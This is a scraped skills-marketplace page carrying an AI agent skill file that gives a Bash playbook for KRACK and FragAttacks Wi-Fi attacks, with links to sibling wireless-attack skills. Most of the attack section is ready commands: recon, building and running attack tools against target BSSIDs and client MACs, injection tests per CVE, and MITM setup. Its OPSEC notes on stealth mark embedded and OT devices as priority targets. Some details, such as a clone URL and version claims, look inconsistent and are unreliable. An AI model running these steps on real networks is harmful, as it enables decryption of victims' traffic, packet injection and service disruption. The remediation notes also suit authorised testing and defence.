[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M798T38B4SV0T87VQK56KPHC":3,"skill-same:01M798T38B4SV0T87VQK56KPHC":57},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":39,"repositoryHtmlUrl":40,"repositoryHomepageUrl":6,"ownerHtmlUrl":41,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":42,"install":43,"resources":56},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks",null,"KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: krack-fragattacks\ndescription: KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: wireless\n  when_to_use: \"KRACK, FragAttacks, key reinstallation, fragmentation, aggregation attack, CVE-2017-13077, CVE-2020-24586, Vanhoef test scripts, legacy supplicant, embedded Wi-Fi, IoT wireless, poor patch cadence\"\n  tags:\n    - krack\n    - fragattacks\n    - key-reinstallation\n    - fragmentation\n    - legacy\n    - embedded\n  mitre_attack: T1557, T1040\n---\n\n# KRACK + FragAttacks\n\n> **Viability gate:** Both vulnerability families are largely\n> mitigated on patched stacks. Modern Linux kernel ≥ 5.7, Android\n> ≥ 10 (November 2017 patch), Windows ≥ October 2017, iOS ≥ 11.1,\n> macOS ≥ High Sierra 10.13.1, and hostapd\u002Fwpa_supplicant ≥ 2.9 are\n> all patched. **Read this section before spending engagement time.**\n> Viable targets: unpatched embedded routers, ISP CPE, industrial\n> Wi-Fi adapters, OT\u002FICS wireless bridges, legacy Android (≤ 9),\n> custom RTOS supplicants, IoT sensors with frozen firmware.\n\n## Scope-viability assessment (run before any active test)\n\n```bash\n# 1. Identify the target supplicant \u002F AP firmware version\n# From passive beacons:\nsudo airodump-ng -c \u003CCHANNEL> --bssid \u003CBSSID> -w \u002Ftmp\u002Fkrack_recon \\\n    --output-format pcap \u003Cmon-iface>\n\ntshark -r \u002Ftmp\u002Fkrack_recon-01.cap -Y \"wlan.fc.type_subtype == 8\" \\\n    -T fields -e wlan.ssid -e wlan_mgt.vendor.data 2>\u002Fdev\u002Fnull | head\n\n# 2. Identify vendor\u002FOUI from BSSID\necho \"\u003CBSSID>\" | cut -d: -f1-3 | tr -d ':' | \\\n    grep -i -f - \u002Fusr\u002Fshare\u002Fieee-data\u002Foui.txt 2>\u002Fdev\u002Fnull || \\\n    curl -s \"https:\u002F\u002Fapi.maclookup.app\u002Fv2\u002Fmacs\u002F\u003Cfirst_6_hex>\" 2>\u002Fdev\u002Fnull\n\n# 3. Cross-reference vendor\u002Ffirmware against KRACK\u002FFragAttacks patch matrix\n# Key rule of thumb:\n#   - wpa_supplicant build date before 2017-10 → KRACK likely\n#   - Custom RTOS \u002F bare-metal 802.11 MAC → FragAttacks design flaws highly likely\n#   - Linux kernel \u003C 4.14 → KRACK 4-way impl flaw possible\n#   - iOS \u003C 11.1, Android \u003C 8.0 → KRACK, check CVE-2017-13080 group key\n```\n\n## KRACK Family (CVE-2017-13077..13082)\n\n### How it works\n\nDuring the 4-way handshake (or group-key\u002FFT\u002FPeerLink handshake),\nthe authenticator can retransmit Msg3 (or Msg1 for group key).\nA vulnerable supplicant reinstalls the PTK\u002FGTK, resetting the TKIP\nMIC counter or CCMP nonce to a previously-used value. Nonce reuse\nunder AES-CCMP allows decryption and in some modes injection.\n\n### Vanhoef krackattacks test scripts\n\n```bash\n# Clone the test framework\ngit clone https:\u002F\u002Fgithub.com\u002Fvanhoej\u002Fkrackattacks-scripts.git\ncd krackattacks-scripts\n\n# Install dependencies\npip3 install -r requirements.txt\nsudo apt-get install -y libnl-3-dev libnl-genl-3-dev\n\n# Build the modified hostapd\ncd hostapd && cp defconfig .config && make -j4 && cd ..\n\n# Test 4-way handshake key reinstallation (PTK-TKIP or PTK-CCMP)\n# The script acts as an AP, manipulates the handshake, and confirms\n# nonce reuse in the supplicant's TX frames.\nsudo python3 krack-test-client.py \\\n    --interface \u003Ciface> \\\n    --target-mac \u003CCLIENT_MAC>\n\n# Test group key reinstallation (GTK, CVE-2017-13080)\nsudo python3 krack-test-client.py \\\n    --interface \u003Ciface> \\\n    --target-mac \u003CCLIENT_MAC> \\\n    --group-key-test\n```\n\n### Channel-based MITM setup for KRACK\n\n```bash\n# KRACK requires MITM position between client and AP.\n# Standard setup: clone the AP on a different channel, relay frames.\n# The krackattacks-scripts handle this internally via the modified\n# hostapd (acts as both client to real AP and AP to victim client).\n\n# Confirm nonce reuse from captured frames:\ntshark -r \u002Ftmp\u002Fkrack_capture.pcap -Y \"wlan.ccmp.extiv\" \\\n    -T fields -e wlan.sa -e wlan.ccmp.extiv 2>\u002Fdev\u002Fnull | \\\n    awk '{seen[$1][$2]++; if (seen[$1][$2]>1) print \"NONCE REUSE:\", $0}'\n```\n\n### CVE map for KRACK\n\n| CVE | Target | Condition |\n|---|---|---|\n| CVE-2017-13077 | Reinstallation of PTK-TK during 4-way | wpa_supplicant \u002F Android |\n| CVE-2017-13078 | Reinstallation of GTK during 4-way | wpa_supplicant |\n| CVE-2017-13079 | Reinstallation of IGTK during 4-way | wpa_supplicant |\n| CVE-2017-13080 | Reinstallation of GTK during group-key handshake | All major platforms |\n| CVE-2017-13081 | Reinstallation of IGTK during group-key | wpa_supplicant |\n| CVE-2017-13082 | PTK reinstall on FT reassociation (BeAP) | hostapd\u002FAPs with 802.11r |\n\n## FragAttacks Family (CVE-2020-24586..26147)\n\nFragAttacks cover three distinct flaw categories across 802.11 from\n1997 to 2020-era implementations. Design flaws affect virtually all\nclients; implementation flaws vary.\n\n### Flaw categories\n\n| Category | CVEs | Description |\n|---|---|---|\n| Aggregation design | CVE-2020-24588 | Non-SPP A-MSDU flag not checked; allows injection of aggregated frames |\n| Mixed-key attack | CVE-2020-24587 | Fragments from different keys can be reassembled |\n| Fragment cache | CVE-2020-24586 | Fragments not flushed on reconnect; stale fragment injection |\n| Implementation: plaintext inject | CVE-2020-26140, 26143 | AP\u002Fclient accepts plaintext data frames in encrypted network |\n| Implementation: mixed fragment | CVE-2020-26144, 26145 | Accept plaintext broadcast fragment with SPP A-MSDU |\n| Implementation: EAPOL inject | CVE-2020-26139 | AP forwards EAPOL from unauthenticated sender (before 4-way) |\n| Implementation: SSP A-MSDU | CVE-2020-26146 | Reassemble encrypted fragments with plaintext head fragment |\n| Implementation: mixed EAPOL | CVE-2020-26147 | Reassemble mixed encrypted+plaintext fragments |\n\n### Vanhoef fragattacks test tool\n\n```bash\n# Clone the test framework\ngit clone https:\u002F\u002Fgithub.com\u002Fvanhoef\u002Ffragattacks.git\ncd fragattacks\n\npip3 install -r requirements.txt\n# Build patched wpa_supplicant \u002F hostapd as per README\n\n# Run all FragAttacks tests against a target AP (acting as client)\nsudo python3 fragattacks.py \u003Ciface> ping \\\n    --bssid \u003CBSSID> --ssid \"\u003CSSID>\" \\\n    --psk \"\u003CPSK_IF_KNOWN>\"\n\n# Test specific CVE (e.g., plaintext injection CVE-2020-26140):\nsudo python3 fragattacks.py \u003Ciface> ping-frag-plaintext \\\n    --bssid \u003CBSSID> --ssid \"\u003CSSID>\" --psk \"\u003CPSK>\"\n\n# Test aggregate injection (CVE-2020-24588):\nsudo python3 fragattacks.py \u003Ciface> ping-amsdu \\\n    --bssid \u003CBSSID> --ssid \"\u003CSSID>\" --psk \"\u003CPSK>\"\n\n# Test EAPOL pre-auth inject (CVE-2020-26139):\nsudo python3 fragattacks.py \u003Ciface> eapol-inject \\\n    --bssid \u003CBSSID> --ssid \"\u003CSSID>\"\n```\n\n### Confirming a successful attack\n\n```bash\n# The test tool will print per-test results like:\n# [SUCCESS] ping sent as plaintext using fragmentation (CVE-2020-26140)\n# [FAILED]  mixed-key attack: AP correctly rejected\n\n# Pcap evidence: confirm injected frame reached the target\ntshark -r \u002Ftmp\u002Ffragattacks_test.pcap -Y \"icmp\" \\\n    -T fields -e ip.src -e ip.dst -e icmp.type 2>\u002Fdev\u002Fnull\n# A successful icmp echo from attacker's injected IP confirms injection.\n```\n\n## Per-vendor residual exposure notes\n\n```\nLinux mac80211 (kernel \u003C 5.8 without October 2020 patches):\n  → CVE-2020-26139 (EAPOL forward), CVE-2020-24587 (mixed-key)\n  → Patch: kernel ≥ 5.8 + upstream backports\n\nwpa_supplicant \u003C 2.10 (pre October 2020):\n  → CVE-2020-24587, CVE-2020-24586 (fragment cache)\n\nWindows WLAN driver:\n  → CVE-2020-24587 (mixed-key), CVE-2020-26144 (plaintext broadcast)\n  → Patch: KB4571744 (August 2020 CU)\n\nCustom RTOS \u002F bare-metal 802.11 MAC (common in OT wireless bridges):\n  → All design flaws likely; implementation flaws depend on the vendor.\n  → No upstream wpa_supplicant → vendor must ship a custom patch.\n  → HIGH priority target for this skill.\n\nConfirm patch state from firmware version:\n  iw dev \u003Ciface> info      # local driver\n  snmpwalk -c public \u003CAP_IP> 1.3.6.1.2.1.1.1.0  # AP sysDescr if reachable\n```\n\n## Evidence\n\n```python\nkg_add_node(\n    kind=\"finding\",\n    label=f\"KRACK\u002FFragAttacks: {cve_id} — {description}\",\n    props={\n        \"key\": f\"fragattacks::{bssid}::{cve_id}\",\n        \"severity\": \"high\",   # Injection\u002Fdecryption: critical; exposure only: high\n        \"cve_ids\": [cve_id],\n        \"bssid\": bssid,\n        \"ssid\": ssid,\n        \"client_mac\": client_mac,       # if client-side flaw\n        \"flaw_type\": flaw_type,         # \"design\" | \"implementation\"\n        \"test_result\": \"SUCCESS\",\n        \"tool_output\": tool_output_snippet,\n        \"remediation\": (\n            \"Apply firmware\u002Fdriver update from vendor. \"\n            \"For wpa_supplicant: upgrade to ≥2.10. \"\n            \"For mac80211: kernel ≥5.8 + security backports. \"\n            \"For custom RTOS: contact vendor for KRACK\u002FFragAttacks patch \"\n            \"or isolate device from untrusted wireless clients.\"\n        ),\n    },\n)\n```\n\n## ZFP\n\n1. fragattacks.py or krack-test-client.py console output naming the CVE and showing `[SUCCESS]`.\n2. Pcap with timestamp showing the injected\u002Fdecrypted frame proof (ICMP echo, injected DNS, etc.).\n3. Screenshot of tshark nonce-reuse detection output (for KRACK).\n\n## OPSEC notes\n\n- KRACK and FragAttacks require an active channel-based MITM or rogue\n  AP — both are loud and generate continuous management\u002Fdata frames.\n  Expect WIDS alerts. Gate on `posture=loud`.\n- KRACK MITM setup disrupts normal traffic for the victim client while\n  the test is running. Brief client disconnection is expected.\n- FragAttacks test tool sends probe\u002Finjection packets to the AP\n  continuously. Rate-limit with `--delay` parameter if stealth matters.\n- Regulatory TX gate applies: confirm `iw reg get` before activating\n  any TX-capable mode.\n\n## References\n\n- Vanhoef, M. & Franken, F., \"Fragment and Forge: Breaking Wi-Fi Through Frame Aggregation and Fragmentation\", USENIX Security 2021.\n- Vanhoef, M. & Piessens, F., \"Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2\", ACM CCS 2017.\n- fragattacks.com — CVE detail, patch status tracker.\n- krackattacks.com — original KRACK disclosure + test scripts.\n- NVD entries: CVE-2017-13077..13082, CVE-2020-24586..24588, CVE-2020-26139..26147.\n- `wpa2-psk` skill — primary PSK capture on patched stacks.\n- `deauth-pmf` skill — MITM position setup.\n","# KRACK + FragAttacks\n\n> **Viability gate:** Both vulnerability families are largely\n> mitigated on patched stacks. Modern Linux kernel ≥ 5.7, Android\n> ≥ 10 (November 2017 patch), Windows ≥ October 2017, iOS ≥ 11.1,\n> macOS ≥ High Sierra 10.13.1, and hostapd\u002Fwpa_supplicant ≥ 2.9 are\n> all patched. **Read this section before spending engagement time.**\n> Viable targets: unpatched embedded routers, ISP CPE, industrial\n> Wi-Fi adapters, OT\u002FICS wireless bridges, legacy Android (≤ 9),\n> custom RTOS supplicants, IoT sensors with frozen firmware.\n\n## Scope-viability assessment (run before any active test)\n\n```bash\n# 1. Identify the target supplicant \u002F AP firmware version\n# From passive beacons:\nsudo airodump-ng -c \u003CCHANNEL> --bssid \u003CBSSID> -w \u002Ftmp\u002Fkrack_recon \\\n    --output-format pcap \u003Cmon-iface>\n\ntshark -r \u002Ftmp\u002Fkrack_recon-01.cap -Y \"wlan.fc.type_subtype == 8\" \\\n    -T fields -e wlan.ssid -e wlan_mgt.vendor.data 2>\u002Fdev\u002Fnull | head\n\n# 2. Identify vendor\u002FOUI from BSSID\necho \"\u003CBSSID>\" | cut -d: -f1-3 | tr -d ':' | \\\n    grep -i -f - \u002Fusr\u002Fshare\u002Fieee-data\u002Foui.txt 2>\u002Fdev\u002Fnull || \\\n    curl -s \"https:\u002F\u002Fapi.maclookup.app\u002Fv2\u002Fmacs\u002F\u003Cfirst_6_hex>\" 2>\u002Fdev\u002Fnull\n\n# 3. Cross-reference vendor\u002Ffirmware against KRACK\u002FFragAttacks patch matrix\n# Key rule of thumb:\n#   - wpa_supplicant build date before 2017-10 → KRACK likely\n#   - Custom RTOS \u002F bare-metal 802.11 MAC → FragAttacks design flaws highly likely\n#   - Linux kernel \u003C 4.14 → KRACK 4-way impl flaw possible\n#   - iOS \u003C 11.1, Android \u003C 8.0 → KRACK, check CVE-2017-13080 group key\n```\n\n## KRACK Family (CVE-2017-13077..13082)\n\n### How it works\n\nDuring the 4-way handshake (or group-key\u002FFT\u002FPeerLink handshake),\nthe authenticator can retransmit Msg3 (or Msg1 for group key).\nA vulnerable supplicant reinstalls the PTK\u002FGTK, resetting the TKIP\nMIC counter or CCMP nonce to a previously-used value. Nonce reuse\nunder AES-CCMP allows decryption and in some modes injection.\n\n### Vanhoef krackattacks test scripts\n\n```bash\n# Clone the test framework\ngit clone https:\u002F\u002Fgithub.com\u002Fvanhoej\u002Fkrackattacks-scripts.git\ncd krackattacks-scripts\n\n# Install dependencies\npip3 install -r requirements.txt\nsudo apt-get install -y libnl-3-dev libnl-genl-3-dev\n\n# Build the modified hostapd\ncd hostapd && cp defconfig .config && make -j4 && cd ..\n\n# Test 4-way handshake key reinstallation (PTK-TKIP or PTK-CCMP)\n# The script acts as an AP, manipulates the handshake, and confirms\n# nonce reuse in the supplicant's TX frames.\nsudo python3 krack-test-client.py \\\n    --interface \u003Ciface> \\\n    --target-mac \u003CCLIENT_MAC>\n\n# Test group key reinstallation (GTK, CVE-2017-13080)\nsudo python3 krack-test-client.py \\\n    --interface \u003Ciface> \\\n    --target-mac \u003CCLIENT_MAC> \\\n    --group-key-test\n```\n\n### Channel-based MITM setup for KRACK\n\n```bash\n# KRACK requires MITM position between client and AP.\n# Standard setup: clone the AP on a different channel, relay frames.\n# The krackattacks-scripts handle this internally via the modified\n# hostapd (acts as both client to real AP and AP to victim client).\n\n# Confirm nonce reuse from captured frames:\ntshark -r \u002Ftmp\u002Fkrack_capture.pcap -Y \"wlan.ccmp.extiv\" \\\n    -T fields -e wlan.sa -e wlan.ccmp.extiv 2>\u002Fdev\u002Fnull | \\\n    awk '{seen[$1][$2]++; if (seen[$1][$2]>1) print \"NONCE REUSE:\", $0}'\n```\n\n### CVE map for KRACK\n\n| CVE | Target | Condition |\n|---|---|---|\n| CVE-2017-13077 | Reinstallation of PTK-TK during 4-way | wpa_supplicant \u002F Android |\n| CVE-2017-13078 | Reinstallation of GTK during 4-way | wpa_supplicant |\n| CVE-2017-13079 | Reinstallation of IGTK during 4-way | wpa_supplicant |\n| CVE-2017-13080 | Reinstallation of GTK during group-key handshake | All major platforms |\n| CVE-2017-13081 | Reinstallation of IGTK during group-key | wpa_supplicant |\n| CVE-2017-13082 | PTK reinstall on FT reassociation (BeAP) | hostapd\u002FAPs with 802.11r |\n\n## FragAttacks Family (CVE-2020-24586..26147)\n\nFragAttacks cover three distinct flaw categories across 802.11 from\n1997 to 2020-era implementations. Design flaws affect virtually all\nclients; implementation flaws vary.\n\n### Flaw categories\n\n| Category | CVEs | Description |\n|---|---|---|\n| Aggregation design | CVE-2020-24588 | Non-SPP A-MSDU flag not checked; allows injection of aggregated frames |\n| Mixed-key attack | CVE-2020-24587 | Fragments from different keys can be reassembled |\n| Fragment cache | CVE-2020-24586 | Fragments not flushed on reconnect; stale fragment injection |\n| Implementation: plaintext inject | CVE-2020-26140, 26143 | AP\u002Fclient accepts plaintext data frames in encrypted network |\n| Implementation: mixed fragment | CVE-2020-26144, 26145 | Accept plaintext broadcast fragment with SPP A-MSDU |\n| Implementation: EAPOL inject | CVE-2020-26139 | AP forwards EAPOL from unauthenticated sender (before 4-way) |\n| Implementation: SSP A-MSDU | CVE-2020-26146 | Reassemble encrypted fragments with plaintext head fragment |\n| Implementation: mixed EAPOL | CVE-2020-26147 | Reassemble mixed encrypted+plaintext fragments |\n\n### Vanhoef fragattacks test tool\n\n```bash\n# Clone the test framework\ngit clone https:\u002F\u002Fgithub.com\u002Fvanhoef\u002Ffragattacks.git\ncd fragattacks\n\npip3 install -r requirements.txt\n# Build patched wpa_supplicant \u002F hostapd as per README\n\n# Run all FragAttacks tests against a target AP (acting as client)\nsudo python3 fragattacks.py \u003Ciface> ping \\\n    --bssid \u003CBSSID> --ssid \"\u003CSSID>\" \\\n    --psk \"\u003CPSK_IF_KNOWN>\"\n\n# Test specific CVE (e.g., plaintext injection CVE-2020-26140):\nsudo python3 fragattacks.py \u003Ciface> ping-frag-plaintext \\\n    --bssid \u003CBSSID> --ssid \"\u003CSSID>\" --psk \"\u003CPSK>\"\n\n# Test aggregate injection (CVE-2020-24588):\nsudo python3 fragattacks.py \u003Ciface> ping-amsdu \\\n    --bssid \u003CBSSID> --ssid \"\u003CSSID>\" --psk \"\u003CPSK>\"\n\n# Test EAPOL pre-auth inject (CVE-2020-26139):\nsudo python3 fragattacks.py \u003Ciface> eapol-inject \\\n    --bssid \u003CBSSID> --ssid \"\u003CSSID>\"\n```\n\n### Confirming a successful attack\n\n```bash\n# The test tool will print per-test results like:\n# [SUCCESS] ping sent as plaintext using fragmentation (CVE-2020-26140)\n# [FAILED]  mixed-key attack: AP correctly rejected\n\n# Pcap evidence: confirm injected frame reached the target\ntshark -r \u002Ftmp\u002Ffragattacks_test.pcap -Y \"icmp\" \\\n    -T fields -e ip.src -e ip.dst -e icmp.type 2>\u002Fdev\u002Fnull\n# A successful icmp echo from attacker's injected IP confirms injection.\n```\n\n## Per-vendor residual exposure notes\n\n```\nLinux mac80211 (kernel \u003C 5.8 without October 2020 patches):\n  → CVE-2020-26139 (EAPOL forward), CVE-2020-24587 (mixed-key)\n  → Patch: kernel ≥ 5.8 + upstream backports\n\nwpa_supplicant \u003C 2.10 (pre October 2020):\n  → CVE-2020-24587, CVE-2020-24586 (fragment cache)\n\nWindows WLAN driver:\n  → CVE-2020-24587 (mixed-key), CVE-2020-26144 (plaintext broadcast)\n  → Patch: KB4571744 (August 2020 CU)\n\nCustom RTOS \u002F bare-metal 802.11 MAC (common in OT wireless bridges):\n  → All design flaws likely; implementation flaws depend on the vendor.\n  → No upstream wpa_supplicant → vendor must ship a custom patch.\n  → HIGH priority target for this skill.\n\nConfirm patch state from firmware version:\n  iw dev \u003Ciface> info      # local driver\n  snmpwalk -c public \u003CAP_IP> 1.3.6.1.2.1.1.1.0  # AP sysDescr if reachable\n```\n\n## Evidence\n\n```python\nkg_add_node(\n    kind=\"finding\",\n    label=f\"KRACK\u002FFragAttacks: {cve_id} — {description}\",\n    props={\n        \"key\": f\"fragattacks::{bssid}::{cve_id}\",\n        \"severity\": \"high\",   # Injection\u002Fdecryption: critical; exposure only: high\n        \"cve_ids\": [cve_id],\n        \"bssid\": bssid,\n        \"ssid\": ssid,\n        \"client_mac\": client_mac,       # if client-side flaw\n        \"flaw_type\": flaw_type,         # \"design\" | \"implementation\"\n        \"test_result\": \"SUCCESS\",\n        \"tool_output\": tool_output_snippet,\n        \"remediation\": (\n            \"Apply firmware\u002Fdriver update from vendor. \"\n            \"For wpa_supplicant: upgrade to ≥2.10. \"\n            \"For mac80211: kernel ≥5.8 + security backports. \"\n            \"For custom RTOS: contact vendor for KRACK\u002FFragAttacks patch \"\n            \"or isolate device from untrusted wireless clients.\"\n        ),\n    },\n)\n```\n\n## ZFP\n\n1. fragattacks.py or krack-test-client.py console output naming the CVE and showing `[SUCCESS]`.\n2. Pcap with timestamp showing the injected\u002Fdecrypted frame proof (ICMP echo, injected DNS, etc.).\n3. Screenshot of tshark nonce-reuse detection output (for KRACK).\n\n## OPSEC notes\n\n- KRACK and FragAttacks require an active channel-based MITM or rogue\n  AP — both are loud and generate continuous management\u002Fdata frames.\n  Expect WIDS alerts. Gate on `posture=loud`.\n- KRACK MITM setup disrupts normal traffic for the victim client while\n  the test is running. Brief client disconnection is expected.\n- FragAttacks test tool sends probe\u002Finjection packets to the AP\n  continuously. Rate-limit with `--delay` parameter if stealth matters.\n- Regulatory TX gate applies: confirm `iw reg get` before activating\n  any TX-capable mode.\n\n## References\n\n- Vanhoef, M. & Franken, F., \"Fragment and Forge: Breaking Wi-Fi Through Frame Aggregation and Fragmentation\", USENIX Security 2021.\n- Vanhoef, M. & Piessens, F., \"Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2\", ACM CCS 2017.\n- fragattacks.com — CVE detail, patch status tracker.\n- krackattacks.com — original KRACK disclosure + test scripts.\n- NVD entries: CVE-2017-13077..13082, CVE-2020-24586..24588, CVE-2020-26139..26147.\n- `wpa2-psk` skill — primary PSK capture on patched stacks.\n- `deauth-pmf` skill — MITM position setup.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":35},{"tags":25,"subdomain":32,"when_to_use":33,"mitre_attack":34},[26,27,28,29,30,31],"krack","fragattacks","key-reinstallation","fragmentation","legacy","embedded","wireless","KRACK, FragAttacks, key reinstallation, fragmentation, aggregation attack, CVE-2017-13077, CVE-2020-24586, Vanhoef test scripts, legacy supplicant, embedded Wi-Fi, IoT wireless, poor patch cadence","T1557, T1040","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":44,"prompt":54,"zipAvailable":55},[45,48,51],{"tool":46,"command":47},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill krack-fragattacks",{"tool":49,"command":50},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill krack-fragattacks",{"tool":52,"command":53},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill krack-fragattacks","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",true,[],[58,65,72,79,86,93],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":19},"01M798SSJ5Z497XQ08PK80EG14","deauth-pmf","Targeted and broadcast 802.11 deauthentication \u002F disassociation, 802.11w\u002FPMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion).","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fdeauth-pmf\u002FSKILL.md",[],[]]